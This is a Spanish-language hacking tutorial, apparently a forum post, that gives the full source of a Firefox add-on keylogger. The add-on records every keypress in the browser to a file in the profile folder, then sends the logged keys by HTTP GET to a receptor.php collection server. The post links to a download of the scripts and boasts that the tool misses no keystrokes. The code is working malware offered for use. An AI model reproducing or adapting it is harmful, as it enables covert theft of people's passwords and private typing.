Tratare de Introducirlos en el desarollo Add-On para Mozilla Firefox y desde luego pensando del lado del Hacking.
El objetivo de este Add-On es capturar todas las teclas dentro de Firefox (Solo dentro de la Pantalla del Navegador).
Los pasos a seguir sera lo siguiente:
Les pasare tres scripts dos en PHP y uno en Javascript.
“overlay.js” => para capturar las teclas en si para el Add-On.
“cheklogs.php” => para ver los Logs.
“receptor.php” => para que el pueda recibir los Logs.
http://www.mediafire.com/download/btyvohfq5t5cz25
Tambien necesitaremos una base de datos para guardar y en cualquier momento podamos consultar lo que capturo.
Si quieren tambien pueden modificar el script “receptor.php” para que lo escriba un *.txt eso ya es depende de la creatividad de cada uno.
Deberan modificar el Archivo “overlay.js” dentro de la carpeta “chrome/content/”
var keylogger_namespace={};
var aleat = Math.random() * 99999;
var torio = Math.round(aleat); // sacamos un numero a la suerte!
keylogger_namespace.keylogger=function() {
var file = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("ProfD", Components.interfaces.nsIFile);
file.append("Firelog");
if( !file.exists() || !file.isDirectory() ) { // lo creamos si no existe la carpeta!
file.create(Components.interfaces.nsIFile.DIRECTORY_TYPE, 0777);
}
this.f = file.path+"\\keystrokes";
window.addEventListener(
"load", function() {LipoKeylogger.init(); }, false);
}
var keylog=new keylogger_namespace.keylogger();
//======================================
keylog.logKeypress=function(e){
var keynum;
var keychar;
var numcheck;
keynum = e.which;
var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(keylog.f);
data=keynum+":";
// apuntando al archivo a crearse
var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
// forma de uso 0x02 | 0x10 para habrir archivo
foStream.init(file, 0x02 | 0x10 | 0x08, 00666, 0); // solo escritura, abrir, o crear archivo
foStream.write(data, data.length);
foStream.close();
//======================================
//Leemos log
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(keylog.f);
var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
inputStream.init(file, -1, 0,0);
var sInputStream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
sInputStream.init(inputStream);
var str= sInputStream.read(sInputStream.available());
if ((str.length) > 100){
var xmlhttp=new XMLHttpRequest();
url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET
xmlhttp.open("GET",url+str+"&user="+torio,true);
xmlhttp.send(null);
//reseteamos el archivo de log's
var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(keylog.f);
// apuntando al archivo a crearse
var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
// forma de uso 0x02 | 0x10 para habrir archivo
foStream.init(file, 0x02 | 0x08 | 0x20, 0666, 0); // solo escritura, abrir, o crear archivo
foStream.write("", 0);
foStream.close();
}
//======================================
}
//======================================
if ("undefined" == typeof(LipoKeylogger)) {
var LipoKeylogger= {
init : function() {
//======================================
//Capurando las keypress
document.addEventListener("keypress", keylog.logKeypress, false);
}
}
}
En la Linea 45
url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GETTesteado en Ubuntu! y Windows anda de maravilla, digamos que no pierde ni un solo keypres!!
Culquier duda o sugerencia a SixP4ck3r<ARROBA>Bolivia.com
Saludos comunidad!.

